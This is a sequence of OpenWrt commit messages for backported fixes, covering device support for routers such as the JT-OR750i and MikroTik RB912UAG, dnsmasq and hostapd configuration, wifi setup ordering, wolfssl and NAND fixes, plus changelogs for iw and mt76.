The LEDs for LAN1 and LAN3 were swapped. Link on port 1 would illuminate
the LED on port 3 and vice versa.
Signed-off-by: David Bauer <mail@david-bauer.net>
(cherry picked from commit f0a885ed86)
Without explicit configuration of these pins the ethernet as well as
status LED of the device do not work correctly.
Signed-off-by: David Bauer <mail@david-bauer.net>
(cherry picked from commit 4feb9a4211)
Specifications:
* QCA9531, 16 MiB flash (Winbond W25Q128JVSQ), 128 MiB RAM
* 802.11n 2T2R (external antennas)
* QCA9887, 802.11ac 1T1R (connected with diplexer to one of the antennas)
* 3x 10/100 LAN, 1x 10/100 WAN
* UART header with pinout printed on PCB
Installation:
* The device comes with a bootloader installed only
* The bootloader offers DHCP and is reachable at http://10.123.123.1
* Accept the agreement and flash sysupgrade.bin
* Use Firefox if flashing does not work
TFTP recovery with static IP:
* Rename sysupgrade.bin to jt-or750i_firmware.bin
* Offer it via TFTP server at 192.168.0.66
* Keep the reset button pressed for 4 seconds after connecting power
TFTP recovery with dynamic IP:
* Rename sysupgrade.bin to jt-or750i_firmware.bin
* Offer it via TFTP server with a DHCP server running at the same address
* Keep the reset button pressed for 6 seconds after connecting power
Co-authored-by: Sebastian Schaper <openwrt@sebastianschaper.net>
Signed-off-by: Vincent Wiemann <vincent.wiemann@ironai.com>
(cherry picked from commit 55b4b36552)
85f01c44a950 bridge: check bridge port vlan membership on link-up events
17e453bd68b4 wireless: add back regular virtual interfaces on hotplug-add events as well
Signed-off-by: Felix Fietkau <nbd@nbd.name>
(cherry-picked from commit 2801fe6132)
b5711025bc x86_64: Remove unneeded static PIE check for undefined weak diagnostic
edfd11197e wordexp: handle overflow in positional parameter number (bug 28011)
Signed-off-by: Hans Dedecker <dedeckeh@gmail.com>
(cherry picked from commit 9d2dcc8312)
58b90461ae elf: Use _dl_catch_error from base namespace in dl-libc.c [BZ #27646]
8c06748c51 Fix use of __pthread_attr_copy in mq_notify (bug 27896)
4b6be914bd Use __pthread_attr_copy in mq_notify (bug 27896)
f4cba6ca1e dlfcn: Failures after dlmopen should not terminate process [BZ #15271]
Signed-off-by: Hans Dedecker <dedeckeh@gmail.com>
(cherry picked from commit f033d5ad1c)
Currently, when using multiple dnsmasq instances they are all assigned
to the same Ubus instance name. This does not work, as only a single
instance can register with Ubus at a time. In the log, this leads to
`Cannot add object to UBus: Invalid argument` error messages.
Furthermore, upstream 3c93e8eb41952a9c91699386132d6fe83050e9be changes
behaviour so that instead of the log, dnsmasq exits at start instead.
With this patch, all dnsmasq instances are assigned unique names so that
they can register with Ubus concurrently. One of the enabled instances
is always assigned the previous default name "dnsmasq" to avoid breaking
backwards compatibility with other software relying on that default.
Previously, a random instance got assigned that name (while the others
produced error logs). Now, the first unnamed dnsmasq config section is
assigned the default name. If there are no unnamed dnsmasq sections the
first encountered named dnsmasq config section is assigned instead.
A similar issue exists for Dbus and was similarly addressed.
Signed-off-by: Etan Kissling <etan.kissling@gmail.com>
[tweaked commit message] dnsmasq was not crashing it is exiting
Signed-off-by: Kevin Darbyshire-Bryant <ldir@darbyshire-bryant.me.uk>
(cherry picked from commit ba5bd8e556)
Programs like the olsr-name-plugin write hostname files to "/tmp/hosts/".
If you don't add this to the jail_mount, dnsmasq can't read it anymore.
Signed-off-by: Nick Hainke <vincent@systemli.org>
(cherry picked from commit 3a94c2ca5c)
When the AVM FRITZ!Repeater 1200 was introduced on Kernel 4.19, the
at803x PHY driver incorrectly set up the delays, not disabling delays
set by the bootloader.
The PHY was always operating with RX as well as TX delays enabled, but
with kernel 5.4 and later, the required TX delay is disabled, breaking
ethernet operation.
Correct the PHY mode, so the driver enables both delays.
Signed-off-by: David Bauer <mail@david-bauer.net>
(cherry picked from commit f9d1828105)
61a71e5e49c3 bridge: dynamically create vlans for hotplug members
cb6ee9608e10 bridge: fix dynamic delete of hotplug vlans
7f199050f395 wireless: pass the real network ifname to the setup script
50381d0a2998 bridge: allow adding/removing VLANs to configured member ports via hotplug
f12b073c0cc3 wireless: add some comments to functions
b0d090688302 bridge: fix setting pvid for updated vlans
ff3764ce28e0 device: move hotplug handling logic from system-linux.c to device.c
16bff892f415 ubus: add a dummy mode ubus call to simulate hotplug events
7f30b02013f2 examples: make dummy wireless vif names shorter
013a1171e9b0 device: do not treat devices with non-digit characters after . as vlan devices
f037b082923a wireless: handle WDS per-sta devices
db0fa24e1c17 bridge: fix enabling hotplug-added VLANs on the bridge port
4e92ea74273f bridge: bring up pre-existing vlans on hotplug as well
1f283c654aeb bridge: fix hotplug vlan overwrite on big-endian systems
Signed-off-by: Felix Fietkau <nbd@nbd.name>
(cherry-picked from commit 1236cbe30c)
Backport upstream patch a0a0e02 ("iwinfo: rename hardware.txt to devices.txt")
and split devices.txt (former hardware.txt) into a common libiwinfo-data
package to allow different libiwinfo versions to coexist without file
clashes.
Signed-off-by: Jo-Philipp Wich <jo@mein.io>
(backported from commit c13d7c82aa)
The ABIV_$(pkgname) variable already is formatted so return it as-is from
the GetABISuffix macro and only filter through FormatABISuffix if we read
the raw ABI version value from a version stamp file.
This ensures that binary intra-package dependencies on ABI versioned
libraries are properly formatted.
Ref: https://github.com/openwrt/packages/issues/15871
Fixes: f6a03bff5b ("build: prepend ABI suffixes with a dash if package name ends with digit")
Signed-off-by: Jo-Philipp Wich <jo@mein.io>
(cherry picked from commit fbb9b1f8ed)
Ensure that ABI suffixes are separated with a dash from the package name if
the name happens to end with a digit. This implementation detail got lost
during the recent refactoring of the ABI_VERSION handling in buildroot.
Ref: https://github.com/openwrt/packages/pull/14237#issuecomment-860473585
Fixes: c921650382 ("build: drop ABI version from metadata")
Signed-off-by: Jo-Philipp Wich <jo@mein.io>
(cherry picked from commit f6a03bff5b)
Looks like the symbol was forgotten for 5.4
Fixes: 820e660cd7 ("ath79: add NAND driver for MikroTik RB91xG series")
Signed-off-by: Koen Vandeputte <koen.vandeputte@ncentric.com>
(cherry picked from commit 52c27dab1973d523453fc1e319d8636e1cb10927)
Analysis done by Denis Kalashnikov:
It seems that some ROS versions on some routerboard models have this bug:
after silence boot (no output to uart, no beeps) beeper clicks when wireless traffic is.
https://forum.mikrotik.com/viewtopic.php?f=3&t=92269https://forum.mikrotik.com/viewtopic.php?t=63399
From these links:
1)
Hello, I have RB951G-2HnD and I noticed strange thing
when I loaded the device with some wireless traffic it
produced strange sound - like hissing, fizzing etc.
2)
Same problem still on 6.33, with silent boot enabled
I hear buzzing noise on wireless load.
3)
The sound is fixed in v5.19, it was a bug that caused beeper to make clicks.
It also got fixed in RouterOS:
* What's new in 5.19 (2012-Jul-16 10:51):
fix ticking sound on RB411UAHL;
* What's new in 6.38.3 (2017-Feb-07 09:52):
rb3011 - fixed noise from buzzer after silent boot;
I've checked with an oscilloscope that:
* When on the ssr beeper pin is 0,
on the beeper itself is 1 (~5V),
and when on the ssr beeper pin is 1,
on the beeper is 0
The beeper doesn't consume power,
so 1 should be a default/idle value for the ssr beeper pin).
* When there is wireless traffic (ping packets)
in the background and the beeper clicks, I see
pulses on the beeper itself,
but no pulses on the ssr beeper pin (Q5 pin of 74hc595).
When I manually toggle the ssr beeper pin I see pulses on both.
So, it is likely that the phantom beeper clicks are caused by the EMI.
Suggested-by: Denis Kalashnikov <denis281089@gmail.com>
Reviewed-by: Sergey Ryazanov <ryazanov.s.a@gmail.com>
Signed-off-by: Koen Vandeputte <koen.vandeputte@ncentric.com>
(cherry picked from commit a58bcc9e67)
Currently, the option to disable subpage writing is only set
when a HW ECC engine is used.
Some boards lack a HW ECC engine and use software for that.
In this case, this NAND option does not get set when the NAND chip
does not support it, resulting in mounting errors.
Move the setting of this option to a generic init location so it
gets set for all types where required.
While at it, also OR the option instead of just setting it
so we don't overwrite potential flags being set somewhere else.
Before:
[ 1.681273] UBI: auto-attach mtd2
[ 1.684669] ubi0: attaching mtd2
[ 1.688877] ubi0 error: validate_ec_hdr: bad VID header offset 2048, expected 512
[ 1.696469] ubi0 error: validate_ec_hdr: bad EC header
[ 1.701712] Erase counter header dump:
[ 1.705512] magic 0x55424923
[ 1.709322] version 1
[ 1.712330] ec 1
[ 1.715331] vid_hdr_offset 2048
[ 1.718610] data_offset 4096
[ 1.721880] image_seq 1462320675
[ 1.725680] hdr_crc 0x12255a15
After:
1.680917] UBI: auto-attach mtd2
[ 1.684308] ubi0: attaching mtd2
[ 2.954504] random: crng init done
[ 3.142813] ubi0: scanning is finished
[ 3.163455] ubi0: attached mtd2 (name "ubi", size 124 MiB)
[ 3.169069] ubi0: PEB size: 131072 bytes (128 KiB), LEB size: 126976 bytes
[ 3.176037] ubi0: min./max. I/O unit sizes: 2048/2048, sub-page size 2048
[ 3.182942] ubi0: VID header offset: 2048 (aligned 2048), data offset: 4096
[ 3.190013] ubi0: good PEBs: 992, bad PEBs: 0, corrupted PEBs: 0
[ 3.196102] ubi0: user volume: 3, internal volumes: 1, max. volumes count: 128
[ 3.203434] ubi0: max/mean erase counter: 2/0, WL threshold: 4096, image sequence number: 1462320675
[ 3.212700] ubi0: available PEBs: 0, total reserved PEBs: 992, PEBs reserved for bad PEB handling: 20
[ 3.222124] ubi0: background thread "ubi_bgt0d" started, PID 317
[ 3.230246] block ubiblock0_1: created from ubi0:1(rootfs)
[ 3.235819] ubiblock: device ubiblock0_1 (rootfs) set to be root filesystem
[ 3.256830] VFS: Mounted root (squashfs filesystem) readonly on device 254:0.
Signed-off-by: Koen Vandeputte <koen.vandeputte@ncentric.com>
(cherry-picked from commit 6561ca1fa5)
This board has been supported in the ar71xx.
Links:
* https://mikrotik.com/product/RB912UAG-2HPnD
* https://openwrt.org/toh/hwdata/mikrotik/mikrotik_rb912uag-2hpnd
This also supports the 5GHz flavour of the board.
Hardware:
* SoC: Atheros AR9342,
* RAM: DDR 64MB,
* SPI NOR: 64KB,
* NAND: 128MB,
* Ethernet: x1 10/100/1000 port with passive POE in,
* Wi-Fi: 802.11 b/g/n,
* PCIe,
* USB: 2.0 EHCI controller, connected to mPCIe slot and a Type-A
port -- both can be used for LTE modem, but only one can be
used at any time.
* LEDs: 5 general purpose LEDs (led1..led5), power LED, user LED,
Ethernet phy LED,
* Button,
* Beeper.
Not working:
* Button: it shares gpio line 15 with NAND ALE and NAND IO7,
and current drivers doesn't easily support this configuration,
* Beeper: it is connected to bit 5 of a serial shift register
(tested with sysfs led trigger timer). But kmod-gpio-beeper
doesn't work -- we left this as is for now.
Flashing:
* Use the RouterBOARD Reset button to enable TFTP netboot,
boot kernel and initramfs and then perform sysupgrade.
* From ar71xx OpenWrt firmware run:
$ sysupgrade -F /tmp/<sysupgrade.bin>
For more info see: https://openwrt.org/toh/mikrotik/common.
Co-Developed-by: Koen Vandeputte <koen.vandeputte@citymesh.com>
Reviewed-by: Sergey Ryazanov <ryazanov.s.a@gmail.com>
Signed-off-by: Denis Kalashnikov <denis281089@gmail.com>
(cherry-picked from commit 695a1cd53c)
Main part is copied from ar71xx original driver rb91x_nand
written by Gabor Juhos <juhosg@openwrt.org>.
What is done:
* Support of kernel 5.4 and 5.10,
* DTS support,
* New gpio API (gpiod_*) support.
Reviewed-by: Sergey Ryazanov <ryazanov.s.a@gmail.com>
Signed-off-by: Denis Kalashnikov <denis281089@gmail.com>
(cherry-picked from commit 820e660cd7)
This is a slighty modified version of ar71xx gpio-latch driver
written by Gabor Juhos <juhosg@openwrt.org>.
Changes:
* DTS support,
* New gpio API (gpiod_*).
Reviewed-by: Sergey Ryazanov <ryazanov.s.a@gmail.com>
Signed-off-by: Denis Kalashnikov <denis281089@gmail.com>
(cherry-picked from commit 7b8931678c)
In the aftermath of the KRACK attacks, hostapd gained an AP-side workaround
against WNM-Sleep Mode GTK/IGTK reinstallation attacks. WNM Sleep Mode is not
enabled by default on OpenWrt, but it is configurable through the option
wnm_sleep_mode. Thus, make the AP-side workaround configurable as well by
exposing the option wnm_sleep_mode_no_keys. If you use the option
wpa_disable_eapol_key_retries and have wnm_sleep_mode enabled, you might
consider using this workaround.
Signed-off-by: Timo Sigurdsson <public_timo.s@silentcreek.de>
[bump PKG_RELEASE]
Signed-off-by: Paul Spooren <mail@aparcar.org>
(cherry picked from commit bf98faaac8)
The country3 option in hostapd.conf allows the third octet of the country
string to be set. It can be used e.g. to indicate indoor or outdoor use (see
hostapd.conf for further details). Make this option configurable but optional
in OpenWrt.
Signed-off-by: Timo Sigurdsson <public_timo.s@silentcreek.de>
[bump PKG_RELEASE, rebase]
Signed-off-by: Paul Spooren <mail@aparcar.org>
(cherry picked from commit 9f09c1936a)
Signed-off-by: Paul Spooren <mail@aparcar.org>
When the ltq_deu_vr9 kernel module is loaded, hostapd does not start any
more. It fails with this error message:
daemon.err hostapd: nl80211: kernel reports: key addition failed
daemon.err hostapd: Interface initialization failed
OpenWrt uses the standard Linux crypto API in the wifi drivers now
and this probably makes the system offload more crypto operations to
special hardware like the Lantiq DEU. There is probably a bug in the DEU
and these operations fail and then hostapd does not start the interface.
Do not include the Lantiq DEU by default any more.
Fixes: FS#3901
Fixes: 53b6783907 ("mac80211: remove patches stripping down crypto support")
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
Acked-by: Martin Blumenstingl <martin.blumenstingl@googlemail.com>
Tested-by: Notupus <notpp46@gmail.com>
(cherry-picked from commit 964863bb23)
Drop support for building the obsolete broadcom-wl backend and always
forcibly enable the nl82011 support. This allows us to make the package
shared again since no target specific compilation is happening anymore.
This will solve various repository coherency issues related to unavailable
libiwinfo versions in the long run.
Signed-off-by: Jo-Philipp Wich <jo@mein.io>
(cherry picked from commit 5a1065758b)
This partially reverts changes done in commit 72cc44958e ("treewide:
mark selected packages nonshared") as it removes the nonshared flag, but
keeps the PKG_RELEASE as the PKG_RELEASE bump while adding nonshared
flag was incorrect.
Unmark uci, ubus, libubox, lua, libnl-tiny and libjson-c as nonshared
packages as this fix attempt didn't worked out. Currently the
imagebuilder is broken again:
openwrt-imagebuilder-21.02.0-rc3-ipq40xx-generic.Linux-x86_64$ make image PROFILE=avm_fritzbox-7530 PACKAGES=luci-ssl-openssl
...
Collected errors:
* pkg_hash_check_unresolved: cannot find dependency libiwinfo20210430 for luci-mod-status
* pkg_hash_fetch_best_installation_candidate: Packages for luci-mod-status found, but incompatible with the architectures configured
* pkg_hash_check_unresolved: cannot find dependency libiwinfo20210430 for rpcd-mod-iwinfo
* pkg_hash_fetch_best_installation_candidate: Packages for rpcd-mod-iwinfo found, but incompatible with the architectures configured
* satisfy_dependencies_for: Cannot satisfy the following dependencies for luci-ssl-openssl:
* libiwinfo20210430
* opkg_install_cmd: Cannot install package luci-ssl-openssl.
Everything because iwinfo's ABI was changed two times since rc3 release:
+IWINFO_ABI_VERSION:=20210430
+IWINFO_ABI_VERSION:=20210420
Since iwinfo is marked as nonshared, it wasn't built by phase2 builders, but
luci-mod-status was already updated 2 times since rc3 and was thus rebuilt by
phase2 builders:
d1d452ed2fb3 luci-mod-status: don't set '-' hostname when creating static lease
95b3633055c1 luci-mod-status: switch to html table for wlan channel analysis
So now luci-mod-status depends on libiwinfo20210430 but only
libiwinfo20210106 can be downloaded. This is first part of the fix, in
the upcoming commit Jo is going to remove nonshared flag from iwinfo
package as well.
References: https://lists.infradead.org/pipermail/openwrt-devel/2021-July/035736.html
References: https://lists.infradead.org/pipermail/openwrt-devel/2021-July/035741.html
Acked-by: Jo-Philipp Wich <jo@mein.io>
Reported-by: Nick Hainke <vincent@systemli.org>
Signed-off-by: Petr Štetiar <ynezz@true.cz>
(cherry picked from commit 8307da3dbd)
As the name suggests, act_gact has the generic actions such as dropping
and accepting packets, so move it into kmod-sched-core.
Signed-off-by: DENG Qingfang <dqfext@gmail.com>
(cherry-picked from commit 10aacb9a6c)
commit 5edbd390d321532d9a697d6895a1a7c71c40bd5d rearranged the
"wifi up" code.
This commit tidies up the "wifi reconf" code so as to
keep it aligned with the "wifi up" code.
branches affected: trunk, 21.02
Signed-off-by: Bob Cantor <coxede6557@w3boats.com>
(cherry-picked from commit e8b5429609)
"/sbin/wifi up" makes three ubus calls:
1. ubus call network reload
2. ubus call network.wireless down
3. ubus call network.wireless up
The first and third ubus calls call drv_mac80211_setup,
while the second ubus call triggers wireless_device_setup_cancel,
so the call sequence becomes,
1. drv_mac80211_setup
2. wireless_device_setup_cancel
3. drv_mac80211_setup
This commit swaps the order of the first two ubus calls,
1. ubus call network.wireless down
2. ubus call network reload
3. ubus call network.wireless up
Consequently drv_mac80211_setup is only called once,
and two related bugs (#FS3784 and #FS3902) are no longer triggered
by /sbin/wifi.
branches affected: trunk, 21.02
Signed-off-by: Bob Cantor <coxede6557@w3boats.com>
(cherry-picked from commit b82cc80713)
drv_mac80211_teardown fails silently if the device to be torn down is
not defined. This commit prints an error message.
branches affected: trunk, 21.02
Signed-off-by: Bob Cantor <coxede6557@w3boats.com>
(cherry-picked from commit 3933e29d1b)
When wifi is turned off, drv_mac80211_teardown sometimes fails (silently)
because the device to be torn down is not defined.
This situation arises if drv_mac80211_setup was called twice when
wifi was turned on.
This commit ensures that the device to be torn down is always defined
in drv_mac80211_teardown.
Steps to reproduce:
1) Use /sbin/wifi to turn on wifi.
uci set wireless.@wifi-iface[0].disabled=0
uci set wireless.@wifi-device[0].disabled=0
uci commit
wifi
2) Use /sbin/wifi to turn off wifi.
uci set wireless.@wifi-device[0].disabled=1
uci commit
wifi
3) Observe that wifi is still up.
branches affected: trunk, 21.02
Signed-off-by: Bob Cantor <coxede6557@w3boats.com>
(cherry-picked from commit d515f6b6cd)
If drv_mac80211_setup is called twice with the same wifi configuration,
then the second call returns early with error HOSTAPD_START_FAILED.
(wifi works nevertheless, despite the fact that setup is incomplete. But
"ubus call network.wireless status" erroneously reports that radio0 is down.)
The relevant part of drv_mac80211_setup is,
if [ "$no_reload" != "0" ]; then
add_ap=1
ubus wait_for hostapd
local hostapd_res="$(ubus call hostapd config_add "{\"iface\":\"$primary_ap\", \"config\":\"${hostapd_conf_file}\"}")"
ret="$?"
[ "$ret" != 0 -o -z "$hostapd_res" ] && {
wireless_setup_failed HOSTAPD_START_FAILED
return
}
wireless_add_process "$(jsonfilter -s "$hostapd_res" -l 1 -e @.pid)" "/usr/sbin/hostapd" 1 1
fi
This commit sets no_reload = 0 during the second call of drv_mac80211_setup.
It is perhaps worth providing a way to reproduce the situation
where drv_mac80211_setup is called twice.
When /sbin/wifi is used to turn on wifi,
uci set wireless.@wifi-iface[0].disabled=0
uci set wireless.@wifi-device[0].disabled=0
uci commit
wifi
/sbin/wifi makes the following ubus calls,
ubus call network reload
ubus call network.wireless down
ubus call network.wireless up
The first and third ubus calls both call drv_mac80211_setup,
while the second ubus call triggers wireless_device_setup_cancel.
So the call sequence becomes,
drv_mac80211_setup
wireless_device_setup_cancel
drv_mac80211_setup
In contrast, when LuCI is used to turn on wifi only a single call
is made to drv_mac80211_setup.
branches affected: trunk, 21.02
Signed-off-by: Bob Cantor <coxede6557@w3boats.com>
(cherry-picked from commit a29ab3b79a)
Call rate control handler after intermediate queueuing
Includes follow-up fixes
Signed-off-by: Felix Fietkau <nbd@nbd.name>
cherry-picked from commits:
- 7dd8829ef9
- a603e82dd3
- 8bb4437c01
sysntpd server becomes unavailable if the index of the bound
interface changes. So let's add an interface trigger to reload sysntpd.
This patch also adds the ability for the sysntpd script to handle
uci interface name from configuration.
Fixes: 4da60500ebd2 ("busybox: sysntpd: option to bind server to iface")
Signed-off-by: Alexey Dobrovolsky <dobrovolskiy.alexey@gmail.com>
Reviewed-by: Philip Prindeville <philipp@redfish-solutions.com>
(cherry picked from commit 88114f617a)
NTPD in busybox has option -I to bind server to IFACE.
However, capabilities of the busybox are limited, the -I option cannot be
repeated and only one interface can be effectively specified in it.
This option is currently not configurable via UCI.
The patch adds an interface option to the system config, ntp section.
Also sort options for uci_load_validate alphabetically.
Signed-off-by: Alexey Dobrovolsky <dobrovolskiy.alexey@gmail.com>
(cherry picked from commit e12fcf0fe5)
Prerequisite patch:
Correct a typo in the Changelog and clean up a stray file
Fix changes in libusb which introduced a regression:
Commit e2be556bd2 ("linux_usbfs: Parse config descriptors during device
initialization") introduced a regression for devices with multiple
configurations. The logic that verifies the reported length of the
configuration descriptors failed to count the length of the
configuration descriptor itself and would truncate the actual length by
9 bytes, leading to a parsing error for subsequent descriptors.
Signed-off-by: Georgi Valkov <gvalkov@abv.bg>
(cherry picked from commit 4b37e3bc2b)
The zoneinfo packages are not installed per default so neither
/tmp/localtime nor /tmp/TZ is generated.
This patch mostly reverts the previous fix and instead incooperates a
solution suggested by Jo.
Fixes "base-files: fix zoneinfo support " 8af62ed
Signed-off-by: Paul Spooren <mail@aparcar.org>
(cherry picked from commit 56bdb6bb97)
The system init script currently sets /tmp/localinfo when zoneinfo is
populated. However, zoneinfo has spaces in it whereas the actual files
have _ instead of spaces. This made the if condition never return true.
Example failure when removing the if condition:
/tmp/localtime -> /usr/share/zoneinfo/America/Los Angeles
This file does not exist. America/Los_Angeles does.
Ran through shfmt -w -ci -bn -sr -s
Signed-off-by: Rosen Penev <rosenp@gmail.com>
(cherry picked from commit 8af62ede18)
Major changes are:
Avoid page allocation failure from upcase table allocation.
Add support for FITRIM.
Improve write perofmrance on dirsync mount.
Improve lookup perofmrance.
Fix a bug on discard mount.
Switch to AUTORELEASE to avoid having to bump it.
Signed-off-by: Rosen Penev <rosenp@gmail.com>
The RTL8380-RTL9300 switches only forward packets when VLAN ID 1 is
configured. Do not use the standard failsafe configuration for DSA
accessing the default port directly, but configure a switch on the lan1
interface instead.
This will add the VLAN ID 1 configuration to the switch:
$ bridge vlan show
port vlan-id
lan1 1 PVID Egress Untagged
switch 1 PVID Egress Untagged
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
(cherry picked from commit b7ee0786b5)
Some interfaces have a VLAN modifier like :t in lan1:t, this modifier
should be removed from the interface before calling preinit_ip_config().
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
(cherry picked from commit 790561d510)
Adapt the preinit_config_board() to the board.json network changes. It
now looks for the device and the ports variables to configure the LAN
network.
This works with swconfig configurations.
Fixes: FS#3866
Fixes: d42640e389 ("base-files: use "ports" array in board.json network for bridges")
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
Reviewed-by: Rafał Miłecki <rafal@milecki.pl>
(cherry picked from commit 467cd378db)
Without this patch we have to manually bring up the CPU interface in
failsafe mode.
This was backported from kernel 5.12.
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
Tested-by: Rafał Miłecki <rafal@milecki.pl>
(cherry picked from commit 2e17c71095)
Commit 0a7657c ("hostapd: add channel utilization as config option") added the
two new uci options bss_load_update_period and chan_util_avg_period. However,
the corresponding "config_add_int" calls for these options weren't added, so
attempting to actually use these options and change their values is bound to
fail - they always stay at their defaults. Add the missing code to actually
make these options work.
Fixes: 0a7657c ("hostapd: add channel utilization as config option")
Signed-off-by: Timo Sigurdsson <public_timo.s@silentcreek.de>
(cherry picked from commit 85ce590705)
All bcm4908 devices are expected to have GPIO buttons to make relevant
package selected by default.
This "fixes" triggering failsafe mode.
Signed-off-by: Rafał Miłecki <rafal@milecki.pl>
(cherry picked from commit fcfa60408c)
Fixes: 125deb4d78 ("base-files: set MAC for bridge ports (devices) instead of bridge itself")
Signed-off-by: Rafał Miłecki <rafal@milecki.pl>
(cherry picked from commit 946019637e)
This restores the original config_generate behaviour. With MAC set for
bridged devices the bridge automatically gets its MAC adjusted (it picks
the lowest MAC of bridged devices).
This fixes confusing interfaces setup (bridge ports not having custom
MAC assigned).
Reported-by: Koen Vandeputte <koen.vandeputte@citymesh.com>
Fixes: c2139eef27 ("base-files: simplify setting device MAC")
Signed-off-by: Rafał Miłecki <rafal@milecki.pl>
(cherry picked from commit c8d8eb9d13)
Since upstream commit 6467de5a8840 ("Randomize z ordinates in
scalar mult when timing resistant") WolfSSL requires a RNG for
the EC key when built hardened which is the default.
Set the RNG for the EC key to fix connections for OWE clients.
Signed-off-by: David Bauer <mail@david-bauer.net>
(cherry picked from commit ddcb970274)
Since commit 6467de5a8840 ("Randomize z ordinates in scalar
mult when timing resistant") wolfssl requires a RNG for an EC
key when the hardened built option is selected.
wc_ecc_set_rng is only available when built hardened, so there
is no safe way to install the RNG to the key regardless whether
or not wolfssl is compiled hardened.
Always export wc_ecc_set_rng so tools such as hostapd can install
RNG regardless of the built settings for wolfssl.
Signed-off-by: David Bauer <mail@david-bauer.net>
(cherry picked from commit ef9b103107)
PHY capabilities are currently read from the fiber status page, thus
Linux won't advertise 10 / 100 Base-T operation modes, effectively
limiting operation to 1000 Base-T.
Statically set the PHYs capabilities, avoiding autodetection.
The issue itself is properly fixed kernel upstream, however backporting
efforts to OpenWrt master resulted in breaking the fiber operation for
another target.
This is currently only known to be necessary for the Ubiquiti
UniFi AC series, so enabling it in the ath79 target should not
break somewhere else.
Signed-off-by: David Bauer <mail@david-bauer.net>
If the image generation doesn't add any profiles to the output the
*profile merge* will fail. To avoid that set an empty profile as
fallback.
Signed-off-by: Paul Spooren <mail@aparcar.org>
(cherry picked from commit fd0d9909bf)
Keep other profiles.json content if the data belongs to the current
build version.
Also useful for the ImageBuilder, which builds for a single model each
time. Without this commit the profiles.json would only contain the
latest build profile information.
Signed-off-by: Moritz Warning <moritzwarning@web.de>
[improve commit message]
Signed-off-by: Paul Spooren <mail@aparcar.org>
(cherry picked from commit a463b96241)
commit 50413e1ec8 replaced ifconfig
with ip. In order to set a link state to up, the interface needs
to be added first.
Fixes: FS#3754
Signed-off-by: Perry Melange <isprotejesvalkata@gmail.com>
[Add Fixes tag]
Signed-off-by: Baptiste Jonglez <git@bitsofnetworks.org>
(cherry picked from commit 23c3bab920)
CPExxx and WBSxxx boards with AR9344 SOC
use the OKLI lzma kernel loader
with the offset of 3 blocks of length 4k (0x3000)
in order to have a fake "kernel" that cannot grow larger
than how it is defined in the now static OEM partition table.
Before recent changes to the mtdsplit driver,
the uImage parser for OKLI only supported images
that started exactly on an eraseblock boundary.
The mtdsplit parser for uImage now supports identifying images
with any magic number value
and at any offset from the eraseblock boundary
using DTS properties to define those values.
So, it is no longer necessary to use fixed sizes
for kernel and rootfs
Tested-by: Andrew Cameron <apcameron@softhome.net> [CPE510 v2]
Tested-by: Bernhard Geier <freifunk@geierb.de> [WBS210 v2]
Tested-by: Petrov <d7c48mWsPKx67w2@gmail.com> [CPE210 v1]
Signed-off-by: Michael Pratt <mcpratt@pm.me>
(cherry picked from commit 7b9a0c264c)
We need to skip sampling if the next sample time is after jiffies, not before.
This patch fixes an issue where in some cases only very little sampling (or none
at all) is performed, leading to really bad data rates
Signed-off-by: Felix Fietkau <nbd@nbd.name>
This fixes `iw dev wlan0-mesh station dump`.
8fab0c9 iw: fix ftm_request missing arguments segfault
e816fbc iw: fix mgmt dump missing arguments segfault
5d9d1b8 iw: Fix timestamp output on 32-bit architectures
4b25ae3 iw: fix pointer arithmetic in __print_he_capa
c3df363 iw: add option to print human readable event time
cd64525 iw: print ctrl port tx status event
0ba98b9 iw: use correct type in policy check for mesh
9e38dee iw: scan: fixup HE caps whitespace
17e8564 iw: scan: parse HE capabilities
5735e58 iw: util: factor out HE capability parser
6d8d507 iw: scan: add extension tag parsing
b4e1ec4 man: update wikipage URL, reformat SEE ALSO section
c56036a iw: enable 80MHz support for 6GHz band 11s mesh
fa72728 iw: handle positive error codes gracefully
7ba9093 iw: scan: add flag for scanning colocated ap
5ec60ed iw: Add 'coloc' and 'flush' options to sched_scan
f8ade75 iw: update wikipage URL
b6f2dac iw: Add support for specifying the 160MHz bandwidth when setting the channel/frequency
Signed-off-by: Andre Heider <a.heider@gmail.com>
(cherry-picked from commit b5420dd710)
bddc1db76d0f mt76: mt7915: drop the use of repeater entries for station interfaces
3c90f35dddac mt76: mt7915: add thermal sensor device support
afab0e8202ff mt76: mt7915: add thermal cooling device support
41cf02184699 mt76: mt7615: add thermal sensor device support
2ac6b8762565 mt76: connac: update BA win size in Rx direction
ddb301127291 mt76: mt7921: fix reset under the deep sleep is enabled
e4cbefd1d69a mt76: mt7921: avoid unnecessary consecutive WiFi resets
393eea2034d7 mt76: mt7921: fix invalid register access in wake_work
a15d46407ffa mt76: mt7921: fix OMAC idx usage
e4d267d8e900 mt76: mt7921: enable runtime pm by default
50fd8ce2412a mt76: connac: add bss color support for sta mode
e29058c3c860 mt76: mt7921: return proper error value in mt7921_mac_init
c89c8c347b1e mt76: mt7921: do not schedule hw reset if the device is not running
9f7bb428e587 mt76: mt7921: reset wfsys during hw probe
22ea365913b5 mt76: mt7915: add .offset_tsf callback
ad91f8e8e494 mt76: mt7615: add .offset_tsf callback
6f871f35e3c1 mt76: mt7915: use mt7915_mcu_get_txpower_sku() to get per-rate txpower
597b68b7daa3 mt76: mt7615: remove useless if condition in mt7615_add_interface()
3945264468eb mt76: testmode: fix memory leak in mt76_testmode_alloc_skb
bdcc57a11606 mt76: testmode: remove unnecessary function calls in mt76_testmode_free_skb
a9763452601d mt76: testmode: remove undefined behaviour in mt76_testmode_alloc_skb
4aef2a2be464 mt76: mt7615: fix potential overflow on large shift
d9dd7635b055 mt76: mt7915: use mt7915_mcu_get_mib_info() to get survey data
d740e921758a mt76: mt7921: introduce mac tx done handling
259ddfc7cb73 mt76: mt7921: update statistic in active mode only
757b93f4b179 mt76: mt7921: remove leftover 80+80 HE capability
1fcff599b2e1 mt76: allow hw driver code to overwrite wiphy interface_modes
c55c22e39b7d mt7915: update firmware to 2020110522
10548aef1f45 mt76: mt7915: improve error recovery reliability
ed6b0c79820c mt76: mt7921: set MT76_RESET during mac reset
321443258bea mt76: move mt76_rates in mt76 module
d1652e8af9e1 Revert "mt76: connac: do not schedule wake_work if the runtime-pm is disabled"
4f4cab39ed9f mt76: mt7915: read all eeprom fields from fw in efuse mode
